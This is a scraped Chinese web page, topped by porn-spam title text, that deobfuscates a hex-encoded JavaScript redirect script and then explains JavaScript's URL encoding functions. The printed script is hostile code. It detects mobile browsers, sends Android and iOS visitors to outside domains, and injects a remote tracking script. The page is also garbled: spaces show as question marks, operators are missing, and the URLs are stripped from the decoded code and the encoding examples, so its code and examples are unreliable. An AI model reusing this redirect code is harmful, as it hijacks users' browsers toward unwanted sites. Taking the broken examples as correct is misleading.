欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

javascript解碼,js轉(zhuǎn)碼解碼

JavaScript解密

第一步解碼:

創(chuàng)新互聯(lián)建站制作網(wǎng)站網(wǎng)頁(yè)找三站合一網(wǎng)站制作公司,專注于網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì)、做網(wǎng)站,網(wǎng)站設(shè)計(jì),企業(yè)網(wǎng)站搭建,網(wǎng)站開發(fā),建網(wǎng)站業(yè)務(wù),680元做網(wǎng)站,已為1000多家服務(wù),創(chuàng)新互聯(lián)建站網(wǎng)站建設(shè)將一如既往的為我們的客戶提供最優(yōu)質(zhì)的網(wǎng)站建設(shè)、網(wǎng)絡(luò)營(yíng)銷推廣服務(wù)!

var?_$?=?["\x77\x66",?"\x3f",?"\x26\x74\x3d\x7a\x72",?'\x54\x72\x69\x64\x65\x6e\x74',?'\x50\x72\x65\x73\x74\x6f',?'\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74',?'\x47\x65\x63\x6b\x6f',?'\x4b\x48\x54\x4d\x4c',?'\x41\x6e\x64\x72\x6f\x69\x64',?'\x4c\x69\x6e\x75\x78',?'\x69\x50\x68\x6f\x6e\x65',?'\x69\x50\x61\x64',?'\x53\x61\x66\x61\x72\x69',?"\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f",?'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f',?'\x26\x74\x69\x64\x3d\x31\x35',?"\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];

var?a?=?window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src?=?a["\x73\x70\x6c\x69\x74"](_$[1])[0x1]?+?_$[2];

var?b?=?{

versions:?function()?{

var?c?=?navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],

d?=?navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];

return?{

trident:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])??-0x1,

presto:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])??-0x1,

webKit:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])??-0x1,

gecko:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])??-0x1??c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7])?==?-0x1,

mobile:?!!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),

ios:?!!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),

android:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])??-0x1?||?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])??-0x1,

iPhone:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])??-0x1,

iPad:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])??-0x1,

webApp:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12])?==?-0x1

}

}?(),

language:?(navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"]?||?navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()

};

if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"]?!=?false)?{

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[13]?+?src

}?else?if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"]?!=?false))?{

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[14]?+?src?+?_$[15]

};

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);

第二步解碼:

var?_$?=?["wf",?"?",?"t=zr",?'Trident',?'presto',?'AppleWebkit',?'Gecko',?'kHTML',?'Android',?'Linux',?'iphone',?'ipad',?'Safari',?'tid=15',?"script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script"

];

var?a?=?window["document"]["getElementById"](_$[0])["src"];src?=?a["split"](_$[1])[0x1]?+?_$[2];

var?b?=?{

versions:?function()?{

var?c?=?navigator["userAgent"],

d?=?navigator["appVersion"];

return?{

trident:?c["indexOf"](_$[3])??-0x1,

presto:?c["indexOf"](_$[4])??-0x1,

webKit:?c["indexOf"](_$[5])??-0x1,

gecko:?c["indexOf"](_$[6])??-0x1??c["indexOf"](_$[7])?==?-0x1,

mobile:?!!c["match"](/AppleWebKit.*Mobile.*/),

ios:?!!c["match"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),

android:?c["indexOf"](_$[8])??-0x1?||?c["indexOf"](_$[9])??-0x1,

iPhone:?c["indexOf"](_$[10])??-0x1,

iPad:?c["indexOf"](_$[11])??-0x1,

webApp:?c["indexOf"](_$[12])?==?-0x1

}

}?(),

language:?(navigator["browserLanguage"]?||?navigator["language"])["toLower\x43ase"]()

};

if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{

window["location"]["href"]?=?_$[13]?+?src

}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{

window["location"]["href"]?=?_$[14]?+?src?+?_$[15]

};

window["document"]["writeln"](_$[16]);

第三步解碼

var?a?=?document.getElementById('wf').src;

src?=?a.split('?')[1]?+?'t=zr';

var?b?=?{

versions:?function()?{

var?c?=?navigator.userAgent,

d?=?navigator.appVersion;

return?{

trident:?c.indexOf('Trident')??-1,

presto:?c.indexOf(?'presto')??-1,

webKit:?c.indexOf('AppleWebkit')??-1,

gecko:?c.indexOf('Gecko')??-1??c.indexOf('kHTML')?==?-1,

mobile:?!!c.match.(/AppleWebKit.*Mobile.*/),

ios:?!!c.match(/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),

android:?c.indexOf('Android')??-1?||?c.indexOf('Linux')??-1,

iPhone:?c.indexOf('iphone')??-1,

iPad:?c.indexOf('ipad')??-1,

webApp:?c.indexOf('Safari')?==?-1

}

}?(),

language:?(navigator.browserLanguage?||?navigator.language).toLowerCase();

};

if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{

location.href?=??'?'?+?src

}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{

location.href??=??'?'?+?src?+?'tid=15'

};

document.writeln('script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script');

前端js的三種解碼方式

** 只有 0-9[a-Z] $ - _ . + ! * ' ( ) , 以及某些保留字,才能不經(jīng)過(guò)編碼直接用于 URL。

***例如:搜索的中文關(guān)鍵字,復(fù)制網(wǎng)址之后再粘貼就會(huì)發(fā)現(xiàn)該URL已經(jīng)被轉(zhuǎn)碼。

1) escape 和 unescape

原理:對(duì)除ASCII字母、數(shù)字、標(biāo)點(diǎn)符號(hào) @ * _ + - . / 以外的其他字符進(jìn)行編碼。

編碼:

eg:escape(';order= 你好')

res:"http%3A//"

解碼:

eg:unescape("http%3A//")

res:" ;order= 你好"

2) encodeURI 和 decodeURI

原理:返回編碼為有效的統(tǒng)一資源標(biāo)識(shí)符 (URI) 的字符串,不會(huì)被編碼的字符:! @ # $ * ( ) = : / ; ? + '

encodeURI()是Javascript中真正用來(lái)對(duì)URL編碼的函數(shù)。

編碼:

eg:encodeURI(';order= 你好')

  res:" ;order=%E4%BD%A0%E5%A5%BD "

解碼:

eg:decodeURI(" ;order=%E4%BD%A0%E5%A5%BD ")

  res:" ;order= 你好"

3) encodeURIComponent 和 decodeURIComponent

原理:對(duì)URL的組成部分進(jìn)行個(gè)別編碼,而不用于對(duì)整個(gè)URL進(jìn)行編碼

編碼:

eg:encodeURIComponent(';order=1')

res:"http%3A%2F% 2F "

解碼:

eg:decodeURIComponent("http%3A%2F% 2F ")

res:" ;order=1 "

JS對(duì)URL進(jìn)行編碼和解碼

Javascript語(yǔ)言用于編碼的函數(shù),一共有三個(gè),最古老的一個(gè)就是escape()。雖然這個(gè)函數(shù)現(xiàn)在已經(jīng)不提倡使用了,但是由于歷史原因,很多地方還在使用它,所以有必要先從它講起。

實(shí)際上,escape()不能直接用于URL編碼,它的真正作用是返回一個(gè)字符的Unicode編碼值。比如"春節(jié)"的返回結(jié)果是%u6625%u8282,也就是說(shuō)在Unicode字符集中,"春"是第6625個(gè)(十六進(jìn)制)字符,"節(jié)"是第8282個(gè)(十六進(jìn)制)字符。

它的具體規(guī)則是,除了ASCII字母、數(shù)字、標(biāo)點(diǎn)符號(hào)"@ * _ + - . /"以外,對(duì)其他所有字符進(jìn)行編碼。在u0000到u00ff之間的符號(hào)被轉(zhuǎn)成%xx的形式,其余符號(hào)被轉(zhuǎn)成%uxxxx的形式。對(duì)應(yīng)的解碼函數(shù)是unescape()。

還有兩個(gè)地方需要注意。

首先,無(wú)論網(wǎng)頁(yè)的原始編碼是什么,一旦被Javascript編碼,就都變?yōu)閡nicode字符。也就是說(shuō),Javascipt函數(shù)的輸入和輸出,默認(rèn)都是Unicode字符。這一點(diǎn)對(duì)下面兩個(gè)函數(shù)也適用。

其次,escape()不對(duì)"+"編碼。但是我們知道,網(wǎng)頁(yè)在提交表單的時(shí)候,如果有空格,則會(huì)被轉(zhuǎn)化為+字符。服務(wù)器處理數(shù)據(jù)的時(shí)候,會(huì)把+號(hào)處理成空格。所以,使用的時(shí)候要小心。

例如:

編碼:

解碼:

encodeURI()是Javascript中真正用來(lái)對(duì)URL編碼的函數(shù)。

它著眼于對(duì)整個(gè)URL進(jìn)行編碼,因此除了常見的符號(hào)以外,對(duì)其他一些在網(wǎng)址中有特殊含義的符號(hào)"; / ? : @ = + $ , #",也不進(jìn)行編碼。編碼后,它輸出符號(hào)的utf-8形式,并且在每個(gè)字節(jié)前加上%。

它對(duì)應(yīng)的解碼函數(shù)是decodeURI()。

例如:

編碼:

解碼:

最后一個(gè)Javascript編碼函數(shù)是encodeURIComponent()。與encodeURI()的區(qū)別是,它用于對(duì)URL的組成部分進(jìn)行個(gè)別編碼,而不用于對(duì)整個(gè)URL進(jìn)行編碼。

因此,"; / ? : @ = + $ , #",這些在encodeURI()中不被編碼的符號(hào),在encodeURIComponent()中統(tǒng)統(tǒng)會(huì)被編碼。至于具體的編碼方法,兩者是一樣。

它對(duì)應(yīng)的解碼函數(shù)是decodeURIComponent()。

例如:

編碼:

解碼:

參考文章:阮一峰:關(guān)于URL編碼

javascript中怎么對(duì)已經(jīng)編碼的字符串解碼?

如果你是用escape編碼的,就用unescape()

如果你是用URLEncoder.encode()編碼的,就用decodeURI() 解碼。

文章標(biāo)題:javascript解碼,js轉(zhuǎn)碼解碼
轉(zhuǎn)載源于:http://chinadenli.net/article44/dsgddhe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號(hào)云服務(wù)器Google網(wǎng)站設(shè)計(jì)手機(jī)網(wǎng)站建設(shè)品牌網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

搜索引擎優(yōu)化